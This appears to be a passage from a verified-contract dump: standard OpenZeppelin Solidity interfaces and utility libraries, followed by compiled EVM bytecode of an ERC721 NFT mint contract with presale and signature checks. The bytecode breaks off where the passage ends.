SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106103015760003560e01c80638175e89c1161018f578063c6682862116100e1578063e7db8fb01161008a578063f47c84c511610064578063f47c84c514610832578063fa468ead14610848578063fe471ed51461085e57600080fd5b8063e7db8fb0146107a9578063e985e9c5146107c9578063f2fde38b1461081257600080fd5b8063da3ef23f116100bb578063da3ef23f14610754578063dea43ab814610774578063e0a808531461078957600080fd5b8063c668286214610709578063c87b56dd1461071e578063cf02027e1461073e57600080fd5b8063a30b6dfa11610143578063bcb459441161011d578063bcb45944146106b7578063bd2dab4f146106ca578063bf75c322146106e957600080fd5b8063a30b6dfa1461066c578063a45ba8e714610682578063b88d4fde1461069757600080fd5b80638da5cb5b116101745780638da5cb5b1461061957806395d89b4114610637578063a22cb4651461064c57600080fd5b80638175e89c146105e357806389d0997c1461060357600080fd5b806342842e0e1161025357806355f804b3116101fc57806370a08231116101d657806370a0823114610598578063715018a6146105b85780637ff9b596146105cd57600080fd5b806355f804b3146105385780636352211e146105585780636a61e5fc1461057857600080fd5b80634fdd43cb1161022d5780634fdd43cb146104d857806351830227146104f857806355b08de01461051857600080fd5b806342842e0e1461048557806342966c68146104a5578063474aa76a146104c557600080fd5b80630f1e6828116102b557806323b872dd1161028f57806323b872dd14610436578063321148b6146104565780633ccfd60b1461047057600080fd5b80630f1e6828146103de578063124fd01c146103fe57806318160ddd1461041357600080fd5b8063081812fc116102e6578063081812fc14610364578063095ea7b31461039c5780630d738aeb146103be57600080fd5b806301ffc9a71461030d57806306fdde031461034257600080fd5b3661030857005b600080fd5b34801561031957600080fd5b5061032d610328366004613075565b61087e565b60405190151581526020015b60405180910390f35b34801561034e57600080fd5b50610357610963565b60405161033991906130ea565b34801561037057600080fd5b5061038461037f3660046130fd565b6109f5565b6040516001600160a01b039091168152602001610339565b3480156103a857600080fd5b506103bc6103b7366004613132565b610aa0565b005b3480156103ca57600080fd5b506103bc6103d93660046130fd565b610bd2565b3480156103ea57600080fd5b506103bc6103f93660046130fd565b610c31565b34801561040a57600080fd5b506103bc610c90565b34801561041f57600080fd5b50610428610d07565b604051908152602001610339565b34801561044257600080fd5b506103bc61045136600461315c565b610d17565b34801561046257600080fd5b50600e5461032d9060ff1681565b34801561047c57600080fd5b506103bc610d9e565b34801561049157600080fd5b506103bc6104a036600461315c565b610e34565b3480156104b157600080fd5b506103bc6104c03660046130fd565b610e4f565b6103bc6104d3366004613254565b610eb2565b3480156104e457600080fd5b506103bc6104f33660046132ef565b6111cb565b34801561050457600080fd5b50600e5461032d9062010000900460ff1681565b34801561052457600080fd5b506103bc610533366004613132565b61123c565b34801561054457600080fd5b506103bc6105533660046132ef565b61133c565b34801561056457600080fd5b506103846105733660046130fd565b6113a9565b34801561058457600080fd5b506103bc6105933660046130fd565b611434565b3480156105a457600080fd5b506104286105b3366004613338565b611493565b3480156105c457600080fd5b506103bc61152d565b3480156105d957600080fd5b50610428600b5481565b3480156105ef57600080fd5b506103bc6105fe366004613353565b611593565b34801561060f57600080fd5b5061042860095481565b34801561062557600080fd5b506000546001600160a01b0316610384565b34801561064357600080fd5b50610357611628565b34801561065857600080fd5b506103bc610667366004613386565b611637565b34801561067857600080fd5b50610428600d5481565b34801561068e57600080fd5b50610357611642565b3480156106a357600080fd5b506103bc6106b23660046133b0565b6116d0565b6103bc6106c5366004613254565b611758565b3480156106d657600080fd5b50600e5461032d90610100900460ff1681565b3480156106f557600080fd5b506103bc610704366004613338565b611a4c565b34801561071557600080fd5b50610357611ad5565b34801561072a57600080fd5b506103576107393660046130fd565b611ae2565b34801561074a57600080fd5b50610428600a5481565b34801561076057600080fd5b506103bc61076f3660046132ef565b611c70565b34801561078057600080fd5b506103bc611cdd565b34801561079557600080fd5b506103bc6107a4366004613418565b611d4b565b3480156107b557600080fd5b506103bc6107c43660046130fd565b611ddd565b3480156107d557600080fd5b5061032d6107e4366004613353565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561081e57600080fd5b506103bc61082d366004613338565b611e8e565b34801561083e57600080fd5b506104286122b881565b34801561085457600080fd5b50610428600c5481565b34801561086a57600080fd5b506103bc610879366004613433565b611f6d565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd00000000000000000000000000000000000000000000000000000000148061091157507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061095d57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b6060600180546109729061348b565b80601f016020809104026020016040519081016040528092919081815260200182805461099e9061348b565b80156109eb5780601f106109c0576101008083540402835291602001916109eb565b820191906000526020600020905b8154815290600101906020018083116109ce57829003601f168201915b5050505050905090565b6000818152600360205260408120546001600160a01b0316610a845760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b6000610aab826113a9565b9050806001600160a01b0316836001600160a01b03161415610b355760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610a7b565b336001600160a01b0382161480610b515750610b5181336107e4565b610bc35760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610a7b565b610bcd838361202c565b505050565b6000546001600160a01b03163314610c2c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b600a55565b6000546001600160a01b03163314610c8b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b600955565b6000546001600160a01b03163314610cea5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b600e805461ff001981166101009182900460ff1615909102179055565b6000610d1260085490565b905090565b610d2133826120a7565b610d935760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610a7b565b610bcd8383836121af565b6000546001600160a01b03163314610df85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b6014546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610e31573d6000803e3d6000fd5b50565b610bcd838383604051806020016040528060008152506116d0565b6000546001600160a01b03163314610ea95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b610e3181612389565b600e548790879087908690869060ff16610f0e5760405162461bcd60e51b815260206004820152601360248201527f4b69746368656e206973206e6f74206f70656e000000000000000000000000006044820152606401610a7b565b610f308586610f1d5783610f1f565b855b87610f2a5783612392565b85612392565b610f7c5760405162461bcd60e51b815260206004820152601760248201527f446972656374206d696e74206e6f7720616c6c6f7765640000000000000000006044820152606401610a7b565b33896000604051602001610fff907f496620796f752077616e7420746f2068656c702066656564207468652068756e81527f67727920616e6420796f752063616e206765742061726f756e6420746865206760208201527f61746520676f20666f722069742e207e546563686f7368690000000000000000604082015260580190565b60405160208183030381529060405280519060200120604051602001611048907f3c285e5f5e293e00000000000000000000000000000000000000000000000000815260070190565b60408051601f19818403018152919052805160209091012014159050600061106f60085490565b90506009548a11156110c35760405162461bcd60e51b815260206004820152601560248201527f4d696e7420616d6f756e7420746f6f206c6172676500000000000000000000006044820152606401610a7b565b6122b86110d08b836134dc565b1061111d5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e732072656d61696e696e6700000000006044820152606401610a7b565b348a600b5461112c91906134f4565b111561117a5760405162461bcd60e51b815260206004820152601560248201527f4e6f7420656e6f7567682065746865722073656e7400000000000000000000006044820152606401610a7b565b60005b8a8110156111b857611193600880546001019055565b6111a6336111a183856134dc565b612450565b806111b081613513565b91505061117d565b5050505050505050505050505050505050565b6000546001600160a01b031633146112255760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b8051611238906011906020840190612f78565b5050565b6000546001600160a01b031633146112965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b60006112a160085490565b90506122b86112b083836134dc565b106112fd5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e732072656d61696e696e6700000000006044820152606401610a7b565b60005b8281101561133657611316600880546001019055565b611324846111a183856134dc565b8061132e81613513565b915050611300565b50505050565b6000546001600160a01b031633146113965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b805161123890600f906020840190612f78565b6000818152600360205260408120546001600160a01b03168061095d5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610a7b565b6000546001600160a01b0316331461148e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b600b55565b60006001600160a01b0382166115115760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610a7b565b506001600160a01b031660009081526004602052604090205490565b6000546001600160a01b031633146115875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b611591600061246a565b565b6000546001600160a01b031633146115ed5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b601280546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560138054929093169116179055565b6060600280546109729061348b565b6112383383836124c7565b6011805461164f9061348b565b80601f016020809104026020016040519081016040528092919081815260200182805461167b9061348b565b80156116c85780601f1061169d576101008083540402835291602001916116c8565b820191906000526020600020905b8154815290600101906020018083116116ab57829003601f168201915b505050505081565b6116da33836120a7565b61174c5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610a7b565b61133684848484612596565b8686868585600e60019054906101000a900460ff166117b95760405162461bcd60e51b815260206004820152601c60248201527f5754466f726b73205072652d53616c65206973206e6f74204f70656e000000006044820152606401610a7b565b6117c88586610f1d5783610f1f565b6118145760405162461bcd60e51b815260206004820152601760248201527f446972656374206d696e74206e6f7720616c6c6f7765640000000000000000006044820152606401610a7b565b33896000604051602001611897907f496620796f752077616e7420746f2068656c702066656564207468652068756e81527f67727920616e6420796f752063616e206765742061726f756e6420746865206760208201527f61746520676f20666f722069742e207e546563686f7368690000000000000000604082015260580190565b604051602081830303815290604052805190602001206040516020016118e0907f3c285e5f5e293e00000000000000000000000000000000000000000000000000815260070190565b60408051601f19818403018152919052805160209091012014159050600061190760085490565b600d549091506119178b836134dc565b106119645760405162461bcd60e51b815260206004820152601f60248201527f4e6f7420656e6f7567682066726565206d696e74732072656d61696e696e67006044820152606401610a7b565b348a600c5461197391906134f4565b11156119c15760405162461bcd60e51b815260206004820152601560248201527f4e6f7420656e6f7567682065746865722073656e7400000000000000000000006044820152606401610a7b565b600a548a1115611a135760405162461bcd60e51b815260206004820152601560248201527f4d696e7420616d6f756e7420746f6f206c6172676500000000000000000000006044820152606401610a7b565b60005b8a8110156111b857611a2c600880546001019055565b611a3a336111a183856134dc565b80611a4481613513565b915050611a16565b6000546001600160a01b03163314611aa65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b6014805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6010805461164f9061348b565b6000818152600360205260409020546060906001600160a01b0316611b6f5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610a7b565b600e5462010000900460ff16611c115760118054611b8c9061348b565b80601f0160208091040260200160405190810160405280929190818152602001828054611bb89061348b565b8015611c055780601f10611bda57610100808354040283529160200191611c05565b820191906000526020600020905b815481529060010190602001808311611be857829003601f168201915b50505050509050919050565b6000611c1b61261f565b90506000815111611c3b5760405180602001604052806000815250611c69565b80611c458461262e565b6010604051602001611c599392919061352e565b6040516020818303038152906040525b9392505050565b6000546001600160a01b03163314611cca5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b8051611238906010906020840190612f78565b6000546001600160a01b03163314611d375760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b600e805460ff19811660ff90911615179055565b6000546001600160a01b03163314611da55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b600e805491151562010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff909216919091179055565b6000546001600160a01b03163314611e375760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b6122b8811115611e895760405162461bcd60e51b815260206004820152601a60248201527f46726565206d696e7420616d6f756e7420746f6f206c617267650000000000006044820152606401610a7b565b600d55565b6000546001600160a01b03163314611ee85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b6001600160a01b038116611f645760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610a7b565b610e318161246a565b6000546001600160a01b03163314611fc75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a7b565b600c94909455600b94909455600991909155600a55600e80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00001692151561ff0019169290921761010091151591909102179055565b80546001019055565b3b151590565b6000818152600560205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038416908117909155819061206e826113a9565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600360205260408120546001600160a01b03166121315760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610a7b565b600061213c836113a9565b9050806001600160a01b0316846001600160a01b031614806121775750836001600160a01b031661216c846109f5565b6001600160a01b0316145b806121a757506001600160a01b0380821660009081526006602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166121c2826113a9565b6001600160a01b03161461223e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610a7b565b6001600160a01b0382166122b95760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610a7b565b6122c460008261202c565b6001600160a01b03831660009081526004602052604081208054600192906122ed9084906135f2565b90915550506001600160a01b038216600090815260046020526040812080546001929061231b9084906134dc565b9091555050600081815260036020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610e3181612760565b6000806123f6836123f0866040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b906127a0565b9050600085801561241457506012546001600160a01b038381169116145b905060008615801561243357506013546001600160a01b038481169116145b90506000876124425781612444565b825b98975050505050505050565b6112388282604051806020016040528060008152506127c4565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b816001600160a01b0316836001600160a01b031614156125295760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610a7b565b6001600160a01b03838116600081815260066020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6125a18484846121af565b6125ad8484848461284d565b6113365760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610a7b565b6060600f80546109729061348b565b60608161266e57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612698578061268281613513565b91506126919050600a8361361f565b9150612672565b60008167ffffffffffffffff8111156126b3576126b36131a8565b6040519080825280601f01601f1916602001820160405280156126dd576020820181803683370190505b5090505b84156121a7576126f26001836135f2565b91506126ff600a86613633565b61270a9060306134dc565b60f81b81838151811061271f5761271f613647565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612759600a8661361f565b94506126e1565b612769816129eb565b600081815260076020526040902080546127829061348b565b159050610e31576000818152600760205260408120610e3191612ffc565b60008060006127af8585612a93565b915091506127bc81612b03565b509392505050565b6127ce8383612cf4565b6127db600084848461284d565b610bcd5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610a7b565b60006001600160a01b0384163b156129e0576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a02906128aa90339089908890889060040161365d565b6020604051808303816000875af19250505080156128e5575060408051601f3d908101601f191682019092526128e291810190613699565b60015b612995573d808015612913576040519150601f19603f3d011682016040523d82523d6000602084013e612918565b606091505b50805161298d5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610a7b565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a02000000000000000000000000000000000000000000000000000000001490506121a7565b506001949350505050565b60006129f6826113a9565b9050612a0360008361202c565b6001600160a01b0381166000908152600460205260408120805460019290612a2c9084906135f2565b9091555050600082815260036020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600080825160411415612aca5760208301516040840151606085015160001a612abe87828585612e43565b94509450505050612afc565b825160401415612af45760208301516040840151612ae9868383612f30565b935093505050612afc565b506000905060025b9250929050565b6000816004811115612b1757612b176136b6565b1415612b205750565b6001816004811115612b3457612b346136b6565b1415612b825760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610a7b565b6002816004811115612b9657612b966136b6565b1415612be45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610a7b565b6003816004811115612bf857612bf86136b6565b1415612c6c5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610a7b565b6004816004811115612c8057612c806136b6565b1415610e315760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610a7b565b6001600160a01b038216612d4a5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a7b565b6000818152600360205260409020546001600160a01b031615612daf5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610a7b565b6001600160a01b0382166000908152600460205260408120805460019290612dd89084906134dc565b9091555050600081815260036020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115612e7a5750600090506003612f27565b8460ff16601b14158015612e9257508460ff16601c14155b15612ea35750600090506004612f27565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a00160